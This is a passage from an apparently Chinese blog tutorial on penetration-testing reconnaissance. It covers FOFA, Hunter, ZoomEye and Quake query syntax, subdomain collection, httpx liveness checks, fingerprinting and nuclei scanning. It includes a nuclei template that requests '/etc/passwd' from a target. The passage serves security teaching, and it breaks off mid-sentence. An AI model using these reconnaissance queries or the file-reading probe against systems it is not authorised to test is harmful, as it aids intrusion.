href=\"#网络空间搜索引擎\">#</a> 网络空间搜索引擎</h1>\n<p>网络空间搜索引擎包括FOFA、Shodan、ZoomEye、Hunter</p>\n<p>利用网络空间搜索引擎进行搜索的技术也可以叫做网络空间测绘。网络空间搜索引擎的背后，是部署在全球各地的大量扫描节点，这些节点向全球所有的公开IP地址（主要是IVP4，现在也包括IVP6）和常见的端口（80,443,22,3306,3389等）发送探测数据包，当目标IP做出响应的时候，引擎会把返回的信息记录下来，这些信息包括但不仅限于HTTP响应头，网页HTML代码，SSL/TLS证书，服务协议指纹（比如SSH版本信息、MySQL握手协议，RDP远程桌面特征等）</p>\n<h2 id=\"fofa\"><a class=\"anchor\" href=\"#fofa\">#</a> FOFA</h2>\n<p><a href=\"https://fofa.info/\">https://fofa.info/</a></p>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/15.png\" class=\"\"></p>\n<p>通过搜索zlaryy可以看到返回了<code>https://zlaryy123.github.io</code>以及它的一些信息</p>\n<h3 id=\"语法\"><a class=\"anchor\" href=\"#语法\">#</a> 语法</h3>\n<p>点击上面的语法可以看到基础的查询语法是什么</p>\n<table>\n<thead>\n<tr>\n<th style=\"text-align:left\">逻辑连接符</th>\n<th style=\"text-align:left\">具体含义</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"text-align:left\">=</td>\n<td style=\"text-align:left\">匹配，=&quot;&quot;时，可查询不存在字段或者值为空的情况</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">==</td>\n<td style=\"text-align:left\">完全匹配，==&quot;&quot;时，可查询存在且值为空的情况。</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">&amp;&amp;</td>\n<td style=\"text-align:left\">与</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">||</td>\n<td style=\"text-align:left\">或</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">!=</td>\n<td style=\"text-align:left\">不匹配，!=&quot;&quot;时，可查询值不为空的情况。</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">*=</td>\n<td style=\"text-align:left\">模糊匹配，使用*或者?进行搜索。</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">()</td>\n<td style=\"text-align:left\">确认查询优先级，括号内容优先级最高。</td>\n</tr>\n</tbody>\n</table>\n<p>除此之外还有很多内容，就一一不列举了。</p>\n<ul>\n<li>\n<p>根域名/主域名查询：用于收集某个企业或组织名下的所有子域名资产，扩大攻击或防护的暴露面。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>domain=\"example.com\"</span></span></code></pre>\n</li>\n<li>\n<p>证书域名查询：当目标网站套了一层CDN（内容分发网络）或WAF隐藏了真实IP时，很多时候其服务器443端口绑定的SSL证书依然会暴露目标域名，通过反查证书，经常能绕过CDN找到真实IP。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>cert=\"example.com\"</span></span>\n<span class=\"line\"><span>#搜索证书中带有该域名的资产</span></span></code></pre>\n</li>\n<li>\n<p>应用指纹查询：寻找使用了特定组件、CMS、中间件或框架的网站，当某个组件爆发0day漏洞（比如Log4j、ThinkPHP、泛微OA），就可以利用指纹语法去全网测绘受影响的资产范围。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>app=\"ThinkPHP\"</span></span>\n<span class=\"line\"><span>app=\"泛微-协同办公OA\"</span></span></code></pre>\n</li>\n<li>\n<p>站点Icon图标哈希查询：很多企业在部署内部系统（后台管理、VPN等）时，虽然域名不同甚至没有域名，但他们往往会使用同一个企业Logo（favicon.ico），通过计算这个图标的hash值，可以找出隐蔽的关联资产</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>icon_hash=\"-247388890\"</span></span></code></pre>\n</li>\n</ul>\n<p>其他引擎的相关语法：</p>\n<ul>\n<li>\n<p>根域名/主域名查询：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Hunter: domain.suffix=\"example.com\"</span></span>\n<span class=\"line\"><span>ZoomEye: site:\"example.com\"</span></span>\n<span class=\"line\"><span>Quake: domain:\"example.com\"</span></span></code></pre>\n</li>\n<li>\n<p>证书域名查询：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Hunter: cert.subject=\"example.com\" 或 cert.is_valid=\"true\"（结合使用查找有效证书）</span></span>\n<span class=\"line\"><span>ZoomEye: ssl.cert.subject.cn:\"example.com\" 或简单的 ssl:\"example.com\"</span></span>\n<span class=\"line\"><span>Quake: cert:\"example.com\"</span></span></code></pre>\n</li>\n<li>\n<p>应用指纹查询：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Hunter: app.name=\"ThinkPHP\"</span></span>\n<span class=\"line\"><span>ZoomEye: app:\"ThinkPHP\"</span></span>\n<span class=\"line\"><span>Quake: app:\"ThinkPHP\"</span></span></code></pre>\n</li>\n<li>\n<p>站点Icon图标哈希查询：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Hunter: web.icon==\"hash值\"</span></span>\n<span class=\"line\"><span>ZoomEye: iconhash:\"-247388890\"</span></span>\n<span class=\"line\"><span>Quake: favicon:\"-247388890\"</span></span></code></pre>\n</li>\n</ul>\n<h1 id=\"子域名收集\"><a class=\"anchor\" href=\"#子域名收集\">#</a> 子域名收集</h1>\n<p>利用oneforall工具：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>git clone https://gitee.com/shmilylty/OneForAll.git</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>cd OneForAll</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>python3 -m pip install -U pip setuptools wheel -i https://pypi.tuna.tsinghua.edu.cn/simple/ --proxy=\"\"</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>python3 -m pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple/ --proxy=\"\"</span></span></code></pre>\n<p>使用：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>python3 oneforall.py --target example.com run</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/16.png\" class=\"\"></p>\n<p>利用fofa进行搜集：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>domain=\"example.com\"</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/17.png\" class=\"\"></p>\n<h2 id=\"企业查询搜集\"><a class=\"anchor\" href=\"#企业查询搜集\">#</a> 企业查询搜集</h2>\n<p>可以通过企查查、爱企查、风鸟、天眼查等工具进行公司资产体系的确定，确定之后重点看知识产权里面的主域名，小程序，APP，微信服务号公众号等内容</p>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/18.png\" class=\"\"></p>\n<h1 id=\"资产测活\"><a class=\"anchor\" href=\"#资产测活\">#</a> 资产测活</h1>\n<p>通过企查查等搜集到的子域名通常包含大量无效资产，或许是域名已经废弃，不再解析到任何IP，或者服务器已经关机或下线，或者端口虽然开放，但没有运行任何web服务，或者存在内部防火墙外部无法访问......资产测活就是通过发送特定的网络探测请求，来验证这些资产中哪些是<strong>当前在线的、有响应的、并且运行这web服务的</strong>。</p>\n<p>而资产测活用到的工具通常是httpx、dddd等工具</p>\n<p>参考：<a href=\"https://www.cnblogs.com/hackernb/p/19692906\">https://www.cnblogs.com/hackernb/p/19692906</a></p>\n<p>简单介绍一下httpx工具的安装（在安装httpx之前请先确保电脑上安装了go语言环境，1.21版本以上）：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>git clone https://github.com/projectdiscovery/httpx.git</span></span>\n<span class=\"line\"><span>cd httpx</span></span>\n<span class=\"line\"><span>cd cmd/httpx</span></span>\n<span class=\"line\"><span>go env -w GOPROXY=https://goproxy.cn,direct</span></span>\n<span class=\"line\"><span>#配置Go国内镜像元</span></span>\n<span class=\"line\"><span>go build -o pd-httpx.exe</span></span>\n<span class=\"line\"><span>#为避免与python版本的httpx冲突，这里用-o进行重命名为pd-httpx.exe</span></span>\n<span class=\"line\"><span>pd-httpx.exe -h</span></span>\n<span class=\"line\"><span>#测试是否安装成功</span></span></code></pre>\n<h2 id=\"常用命令\"><a class=\"anchor\" href=\"#常用命令\">#</a> 常用命令</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>#探测单个目标</span></span>\n<span class=\"line\"><span>httpx -u https://example.com</span></span>\n<span class=\"line\"><span>#探测多个目标</span></span>\n<span class=\"line\"><span>httpx -u https://a.com https://b.com</span></span>\n<span class=\"line\"><span>#从文件读取目标</span></span>\n<span class=\"line\"><span>httpx -l targets.txt</span></span>\n<span class=\"line\"><span>#只输出存活结果</span></span>\n<span class=\"line\"><span>httpx -l targets.txt -silent</span></span>\n<span class=\"line\"><span>#显示状态码和标题</span></span>\n<span class=\"line\"><span>httpx -l targets.txt -sc -title</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/19.png\" class=\"\"></p>\n<p>其他更详细的命令比如信息搜集，技术指纹，内容特征，过滤匹配可以看上面提到的参考文章</p>\n<h1 id=\"指纹识别\"><a class=\"anchor\" href=\"#指纹识别\">#</a> 指纹识别</h1>\n<p>参考：<a href=\"https://blog.csdn.net/hmysn/article/details/124788105\">https://blog.csdn.net/hmysn/article/details/124788105</a></p>\n<p>通过关键特征，识别出目标的CMS系统、服务器、开发语言、操作系统、CDN、WAF的类别版本等等</p>\n<p>其中主要识别以下的信息：<br />\n1、CMS信息：比如Discuz、织梦、帝国CMS、PHPCMS、ECshop等；<br />\n2、前端技术：比如HTML5、jquery、bootstrap 、Vue、ace等；<br />\n3、开发语言：比如PHP、Java、Ruby、Python、C#等；<br />\n4、Web服务器：比如Apache 、 Nginx、IIS、lighttpd等；<br />\n5、应用服务器：比如Tomcat、Jboss、Weblogic、Websphere等；<br />\n6、操作系统信息：比如Linux、win2k8、win7、Kali、Centos等；<br />\n7、CDN信息：是否使用CDN，如cloudflare、帝联、蓝讯、网宿、七 牛云、阿里云等；<br />\n8、WAF信息：是否使用WAF，如D盾、云锁、宝塔、安全狗、360等</p>\n<p>其中cms、cdn、waf的指纹识别比较重要。</p>\n<h2 id=\"指纹识别的几种手段\"><a class=\"anchor\" href=\"#指纹识别的几种手段\">#</a> 指纹识别的几种手段</h2>\n<h3 id=\"http响应头分析\"><a class=\"anchor\" href=\"#http响应头分析\">#</a> HTTP响应头分析</h3>\n<ul>\n<li><code>Server</code>：暴露了Web服务器类型及版本。例如<code>Server: nginx/1.18.0</code>或<code>Server: Microsoft-IIS/10.0</code></li>\n<li><code>X-Powered-By</code>：暴露后端运行的开发语言或框架，例如<code>X-Powered-By: PHP/7.4.3</code>或<code>X-Powered-By: Express</code></li>\n<li><code>Set-Cookie</code>：不同的开发语言或框架通常有特定名称的Session ID，<code>PHPSESSID</code>表示php，<code>JSESSIONID</code>表示Java（Tomcat，JBoss等 ），<code>ASP.NET_SessionID</code><a href=\"http://xn--ASP-e64ht16d.NET\">表示ASP.NET</a></li>\n</ul>\n<h3 id=\"网页源码与内容特征匹配\"><a class=\"anchor\" href=\"#网页源码与内容特征匹配\">#</a> 网页源码与内容特征匹配</h3>\n<ul>\n<li>Meta标签：很多CMS（内容管理系统）会自动生成带有标识的标签。例如<code>&lt;meta name=&quot;generator&quot; content=&quot;WordPress 5.8&gt;&quot;</code></li>\n<li>特定的HTML结构或注释，开发者有时候会在代码里留下固定的注释</li>\n<li>特定的JavaScript变量或静态资源，比如页面加载了<code>/wp-content/themes/</code>路径下的资源，那就必然是WordPress，或者代码中出现了特定的全局变量名称</li>\n</ul>\n<h3 id=\"特定文件与路径探测\"><a class=\"anchor\" href=\"#特定文件与路径探测\">#</a> 特定文件与路径探测</h3>\n<p>有时候主页没有得到什么线索，可能通过发送特定请求去试探</p>\n<ul>\n<li>默认后台路径：访问<code>/wp-login,php</code>有响应就是WordPress，访问<code>/seeyon/</code>就是致远OA</li>\n<li>特有文件：探测网站根目录下的<code>robots.txt</code>、、<code>readme.html</code>、<code>changelog.txt</code>，这些文件经常会泄露建站系统的详细版本号</li>\n<li>报错页面特征：故意访问一个不存在的页面造成400或者发送畸形数据制造500，Tomcat、Spring Boot、Apache等都有自己非常独特且难以彻底修改的默认报错页面</li>\n</ul>\n<h3 id=\"哈希指纹对比\"><a class=\"anchor\" href=\"#哈希指纹对比\">#</a> 哈希指纹对比</h3>\n<p>类似于提取数字DNA</p>\n<ul>\n<li>Favicon Hash（网站图标哈希）：绝大多数的企业内部系统（如泛微OA、用友、各种路由器后台）都有默认的<code>favicon.ico</code>图标，可以通过将这个图标文件下载下来计算其特定的哈希值（通常是MurmurHash），然后与数据库进行比对</li>\n<li>静态文件Hash：对比某些核心JS、CSS文件的MD5值，不仅能识别出框架，还能定位到具体版本</li>\n</ul>\n<h3 id=\"网络层与协议层面识别\"><a class=\"anchor\" href=\"#网络层与协议层面识别\">#</a> 网络层与协议层面识别</h3>\n<p>当Web层的特征被WAF抹除时，可以通过下降到网络层进行探测。</p>\n<ul>\n<li>TCP/IP堆栈指纹：Nmap扫描器通过<code>-o</code>参数就可以实现。不同的操作系统（Windows，Linux，FreeBSD）在处理TCP/IP协议栈时，其TTL初始值、TCP窗口大小、TCP选项的排列顺序等都有细微差别</li>\n<li>JARM（TLS服务器指纹）：这是由Salesforce团队开发的一种主动式指纹识别工具，他通过发送不同配置的TLS/SSL握手请求，根据服务器返回的加密套件支持情况和响应模式，生成一个唯一的JARM哈希值，这对于识别隐藏在CDN后的真是服务器环境非常有效</li>\n</ul>\n<h1 id=\"脆弱资产\"><a class=\"anchor\" href=\"#脆弱资产\">#</a> 脆弱资产</h1>\n<p>脆弱资产，指信息系统中存在能被威胁利用的薄弱环节，包括配置缺陷、漏洞、弱口令等。它是构成安全风险的核心要素，一旦被利用会损害资产的机密性、完整性和可用性。通常需要通过自动扫描、合规性检查识别，并根据重要性进行修补管理</p>\n<h2 id=\"常见的脆弱资产类型\"><a class=\"anchor\" href=\"#常见的脆弱资产类型\">#</a> 常见的脆弱资产类型</h2>\n<ul>\n<li>未修复补丁的系统：运行着包含已知公开漏洞软件的服务器。例如：依然运行着存在“永恒之蓝”漏洞的旧版服务器</li>\n<li>配置错误的暴露面：不应暴露在公网的高危端口（如3389远程桌面、445SMB、6379Redis）</li>\n<li>权限设置错误的云存储桶（允许匿名读取甚至写入数据）</li>\n<li>启用了目录遍历或开启了Debug模式的web服务器</li>\n<li>弱凭证与默认口令：管理后台、数据库或网络设备使用了出厂默认密码（如admin/admin）或者容易被字典爆破出来的弱口令</li>\n<li>影子IT与遗留系统：这是渗透测试中最常见的突破点。指的是那些被部门遗忘、脱离安全监控、无人维护的旧版系统或临时搭建的测试环境。他们通常缺乏最基本的安全防护</li>\n<li>泄露的敏感信息：例如开发人员不小心上传到Github公开仓库的数据库密码，API Key或内部网络拓扑图</li>\n</ul>\n<h1 id=\"漏洞扫描工具\"><a class=\"anchor\" href=\"#漏洞扫描工具\">#</a> 漏洞扫描工具</h1>\n<p>这里只提一下nuclei</p>\n<p>参考：<a href=\"http://blog.csdn.net/qq_43531669/article/details/145693107\">http://blog.csdn.net/qq_43531669/article/details/145693107</a></p>\n<h2 id=\"常用命令-2\"><a class=\"anchor\" href=\"#常用命令-2\">#</a> 常用命令</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>nuclei -u http://example.com</span></span>\n<span class=\"line\"><span>#扫描单个目标</span></span>\n<span class=\"line\"><span>nuclei -l targets.txt</span></span>\n<span class=\"line\"><span>#扫描多个目标</span></span>\n<span class=\"line\"><span>nuclei -u http://example.com -t http/exposures/</span></span>\n<span class=\"line\"><span>#使用特定的模版或模版目录</span></span>\n<span class=\"line\"><span>nuclei -u http://example.com -t cves/ -t exposures/</span></span>\n<span class=\"line\"><span>#使用多个模版目录</span></span>\n<span class=\"line\"><span>nuclei -u http://example.com -t ssl\\deprecated-tls.yaml</span></span>\n<span class=\"line\"><span>#指定单个模版进行测试</span></span>\n<span class=\"line\"><span>nuclei -u http://example.com -tags jira,generic</span></span>\n<span class=\"line\"><span>#扫描具有特定标签的模版</span></span>\n<span class=\"line\"><span>nuclei -u http://example.com -s critical,high,medium</span></span>\n<span class=\"line\"><span>#根据严重程度运行模版</span></span>\n<span class=\"line\"><span>nuclei -et http/fuzzing/</span></span>\n<span class=\"line\"><span>#排除特定模版或模版目录</span></span>\n<span class=\"line\"><span>nuclei -l targets.txt -rl 50 -c 10</span></span>\n<span class=\"line\"><span>#限速</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>-rl, -rate-limit int                  每秒最大请求量（默认：150）</span></span>\n<span class=\"line\"><span>-c, -concurrency int                  并行执行的最大模板数量（默认：25）</span></span>\n<span class=\"line\"><span>#参数解释</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>nuclei -u http://example.com -o results.txt</span></span>\n<span class=\"line\"><span>#输出到文件</span></span>\n<span class=\"line\"><span>nuclei -u http://example.com -me res </span></span>\n<span class=\"line\"><span>#输出为md格式</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>-sresp      将nuclei的所有请求和响应输出到目录</span></span>\n<span class=\"line\"><span>-srd res    将nuclei的所有请求和响应输出到指定目录（默认：output）</span></span>\n<span class=\"line\"><span>#输出日志文件</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>nuclei -up</span></span>\n<span class=\"line\"><span>#更新Nuclei到最新版本</span></span>\n<span class=\"line\"><span>nuclei -ut</span></span>\n<span class=\"line\"><span>#更新nuclei模版到最新版</span></span>\n<span class=\"line\"><span>nuclei -l 1.txt -s critical,high,medium -me res </span></span>\n<span class=\"line\"><span>#常用命令</span></span></code></pre>\n<h2 id=\"漏洞扫描器yaml的poc基本结构\"><a class=\"anchor\" href=\"#漏洞扫描器yaml的poc基本结构\">#</a> 漏洞扫描器yaml的poc基本结构</h2>\n<p>参考：<a href=\"https://www.anquanke.com/post/id/283289\">https://www.anquanke.com/post/id/283289</a></p>\n<p>YAML是一种数据序列化语言，通常用于编写配置文件。它的基本语法如下：</p>\n<p>大小写敏感、使用缩进表示层级关系、缩进时不允许使用Tab键，只允许使用空格、缩进的空格数目不重要，只要相同层级的元素左侧对齐即可、<code>#</code>表示注释，从这个字符到行尾都会被解析器忽略</p>\n<p>YAML支持的数据结构：</p>\n<p>对象：键值对的集合，使用冒号结构表示</p>\n<p>数组：一组按次序排列的值，又称为序列(sequence)/列表(list)，一组连词线开头的行，构成一个数组。如果数据结构的子成员是一个数组，则可以在该项下面缩进一个空格。</p>\n<p>纯量(scalars)：单个的、不可再分的值，如字符串、整数、布尔值等。</p>\n<p>漏洞扫描器YAML的 这种poc主要由基础信息（id）、元数据（info）和请求与逻辑匹配（http/network/dns等）三大核心模块组成</p>\n<p><strong>最基础的HTTP漏洞检测（例如读取敏感文件）的完整YAML结构模版</strong></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>id: poc-basic-structure-example  # 1. 唯一标识符</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>info:                            # 2. 元数据信息块</span></span>\n<span class=\"line\"><span>  name: Example Vulnerability Name</span></span>\n<span class=\"line\"><span>  author: your_name</span></span>\n<span class=\"line\"><span>  severity: high                 # 严重程度: info, low, medium, high, critical</span></span>\n<span class=\"line\"><span>  description: 详细描述这个漏洞的成因、影响范围等。</span></span>\n<span class=\"line\"><span>  reference:                     # 参考链接 (可选)</span></span>\n<span class=\"line\"><span>    - https://example.com/cve-202X-XXXX</span></span>\n<span class=\"line\"><span>  tags: cve,cve202x,lfi,config   # 标签，用于分类和批量过滤扫描</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>http:                            # 3. 请求与匹配逻辑块 (以前的版本叫 requests)</span></span>\n<span class=\"line\"><span>  - method: GET                  # 请求方法: GET, POST, PUT, DELETE 等</span></span>\n<span class=\"line\"><span>    path:</span></span>\n<span class=\"line\"><span>      - \"&#x3C;!--swig￼19-->/etc/passwd\" # 请求路径，&#x3C;!--swig￼20--> 是内置变量，代表目标地址</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    matchers-condition: and      # 匹配器条件: and (必须全部满足), or (满足其一即可)</span></span>\n<span class=\"line\"><span>    </span></span>\n<span class=\"line\"><span>    matchers:                    # 4. 匹配器 (判断是否存在漏洞的核心)</span></span>\n<span class=\"line\"><span>      - type: word               # 关键字匹配</span></span>\n<span class=\"line\"><span>        part: body               # 在响应包的哪个部分匹配: body, header, all</span></span>\n<span class=\"line\"><span>        words:</span></span>\n<span class=\"line\"><span>          - \"root:x:0:0:\"        # 响应体中必须包含此字符串</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>      - type: status             # 状态码匹配</span></span>\n<span class=\"line\"><span>        status:</span></span>\n<span class=\"line\"><span>          - 200                  # 响应状态码必须为 200</span></span></code></pre>\n<p><code>id</code>：模版的唯一ID，不能包含空格，通常使用小写字母和连字符</p>\n<p><code>info</code>：元数据块</p>\n<p>​\t<code>name</code>：漏洞或资产的名称</p>\n<p>​\t<code>author</code>：编写该模版的作者</p>\n<p>​\t<code>serverity</code>：定义漏洞评级</p>\n<p>​\t<code>tags</code>：扫描时经常通过<code>-tags</code>参数来过滤需要执行的模版集</p>\n<p><code>http</code>：定义了发包的行为，nuclei还支持<code>network</code>，<code>dns</code>，<code>file（本地文件）</code>等协议块</p>\n<p>​\t<code>method</code>：定义HTTP请求方法</p>\n<p>​\t<code>path</code>：定义请求的URL，这里通常会使用nuclei的内置变量，如<code>&#123;&#123;BaseURL&#125;&#125;(目标完整的URL)</code>、<code>&#123;&#123;HostURL&#125;&#125;(目标的域名/IP)</code></p>\n<p>​\t<code>headers/body(可选)</code>：如果是POST请求，可以在这里自定义请求头和请求体</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>headers:</span></span>\n<span class=\"line\"><span>  Content-Type: application/json</span></span>\n<span class=\"line\"><span>body: '&#123;\"username\":\"admin\", \"password\":\"password\"&#125;'</span></span></code></pre>\n<p><code>matchers(匹配器)</code>：判定漏洞是否存在，只有当发出请求的内容符合<code>matchers</code>中定义的规则时，才会判定漏洞存在。常用的匹配器类型：</p>\n<p>​\t<code>word</code>：匹配字符串（如报错信息，特定版本号）</p>\n<p>​\t<code>regex</code>：正则表达式匹配（如泄露的身份证号、Token）</p>\n<p>​\t<code>status</code>：HTTP状态码（如200/403）</p>\n<p>​\t<code>size</code>：响应包的大小匹配（适用于布尔盲注或响应长度固定的场景）</p>\n<p>​\t<code>dsl</code>：复杂的逻辑表达式匹配</p>\n<p>​\t<code>binary</code>：二进制数据匹配</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>matchers:</span></span>\n<span class=\"line\"><span>  # 对响应 headers 进行字符串匹配</span></span>\n<span class=\"line\"><span>  - type: word</span></span>\n<span class=\"line\"><span>    part: header</span></span>\n<span class=\"line\"><span>    words:</span></span>\n<span class=\"line\"><span>      - \"ADMINCONSOLESESSION\"</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>  # 对响应 body 进行字符串匹配，且要包含所有子串。</span></span>\n<span class=\"line\"><span>  - type: word</span></span>\n<span class=\"line\"><span>    part: body</span></span>\n<span class=\"line\"><span>    words:</span></span>\n<span class=\"line\"><span>      - 'uid='</span></span>\n<span class=\"line\"><span>      - 'gid='</span></span>\n<span class=\"line\"><span>      - 'groups='</span></span>\n<span class=\"line\"><span>    condition: and</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>  # 匹配 http 响应状态码</span></span>\n<span class=\"line\"><span>  - type: status</span></span>\n<span class=\"line\"><span>    status:</span></span>\n<span class=\"line\"><span>      - 200</span></span></code></pre>\n<p><code>exrtactors(提取器)</code>：提取数据用到extractors，它与matchers平级</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>extractors:</span></span>\n<span class=\"line\"><span>      - type: regex            # 使用正则提取</span></span>\n<span class=\"line\"><span>        part: body</span></span>\n<span class=\"line\"><span>        name: extracted-token  # 提取内容的命名</span></span>\n<span class=\"line\"><span>        group: 1               # 提取正则中的第一个括号内容</span></span>\n<span class=\"line\"><span>        regex:</span></span>\n<span class=\"line\"><span>          - \"Authorization: Bearer ([a-zA-Z0-9-._~+/]+)\"</span></span></code></pre>\n<p>​\t<code>regwz</code>：正则提取</p>\n<p>​\t<code>kval</code>：键值对，比如提取指定响应头</p>\n<p>​\t<code>json</code>：使用jq语法提取json数据</p>\n<p>​\t<code>xpath</code>：使用xpath提取html响应数据</p>\n<p>​\t<code>dsl</code>：使用表达式提取，不常用</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>extractors:</span></span>\n<span class=\"line\"><span>      - type: regex</span></span>\n<span class=\"line\"><span>        regex:</span></span>\n<span class=\"line\"><span>          - \"(u|g)id=.*\"</span></span></code></pre>\n<p>使用正则提取了 id 命令的执行结果</p>\n<h1 id=\"使用find-something或者直接查看js找到网站的接口和路由\"><a class=\"anchor\" href=\"#使用find-something或者直接查看js找到网站的接口和路由\">#</a> 使用find something或者直接查看JS找到网站的接口和路由</h1>\n<h2 id=\"路由\"><a class=\"anchor\" href=\"#路由\">#</a> 路由</h2>\n<p>路由（Routing）是指在互联网络中，通过预定规则和算法，从源地址到目的地址选择最佳传输路径的过程。它工作在OSI模型的网络层，利用路由器、交换机等设备管理数据流量，避免网络拥塞。主要类型包括直连、静态和动态路由。</p>\n<p>路由表：路由器内部维护的一张表，包含网络路径状态、距离和成本参数，用于决定下一跳的地址</p>\n<p><strong>路由类型：</strong></p>\n<ul>\n<li>直连路由：设备接口直接相连的网段，无需配置，自动生成</li>\n<li>静态路由：管理员手动配置的固定路径，安全但灵活性差</li>\n<li>动态路由：路由器通过协议（如OSPF、BGP）自动交换信息并更新路径，适用于复杂网络</li>\n</ul>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>GET /login 指向展示登录界面的代码</span></span>\n<span 